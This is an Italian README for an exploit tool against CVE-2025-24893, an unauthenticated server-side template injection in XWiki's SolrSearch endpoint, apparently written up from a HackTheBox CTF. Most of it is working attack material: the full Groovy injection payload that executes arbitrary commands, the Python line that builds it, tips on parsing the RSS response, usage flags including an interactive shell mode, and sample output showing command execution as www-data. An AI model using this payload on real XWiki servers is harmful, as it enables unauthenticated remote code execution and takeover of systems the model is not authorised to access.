
CVE-2025-24893 – Exploit di RCE non autenticato tramite SSTI su XWiki (HackTheBox CTF)
| Campo | Dettagli |
|---|
| CVE | CVE-2025-24893 |
| Software | XWiki |
| Vulnerabilità | Iniezione di template lato server (SSTI) → RCE |
| Autenticazione | Non richiesta |
| Punteggio CVSS | Critico |
| Contesto | Scoperto durante HackTheBox CTF |
XWiki espone un endpoint SolrSearch (/xwiki/bin/get/Main/SolrSearch) che elabora input forniti dall'utente attraverso il motore di template Groovy senza sanificazione. Un attaccante non autenticato può iniettare un'espressione Groovy tramite il parametro text della query, ottenendo l'esecuzione remota di codice sul server sottostante.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
Il parametro text viene incorporato direttamente nel contesto di una macro XWiki e valutato dal motore Groovy. L'iniezione esce dal contesto del template utilizzando }}} e apre un blocco {{async}}{{groovy}}:
}}}{{async async=false}}{{groovy}}println("<COMANDO>".execute().text){{/groovy}}{{/async}}
L'output viene riflesso nel corpo della risposta RSS e può essere estratto tramite regex.
payload = '}}}{{async async=false}}{{groovy}}println("' + comando + '".execute().text){{/groovy}}{{/async}}'
La risposta è XML/RSS — l'output del comando appare tra i delimitatori [}}} e ]</ con caratteri HTML-encoded.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMANDO]
| Flag | Descrizione |
|---|---|
-t | Hostname o IP del target |
-p | Porta (default: 80) |
-s | Usa HTTPS |
-i | Modalità shell interattiva |
-c | Esecuzione di un singolo comando |
-v | Output verbose |
# Singolo comando
python3 exploit.py -t wiki.target.htb -c "id"
# Shell interattiva
python3 exploit.py -t wiki.target.htb -i
# HTTPS su porta personalizzata
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Esecuzione comando: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)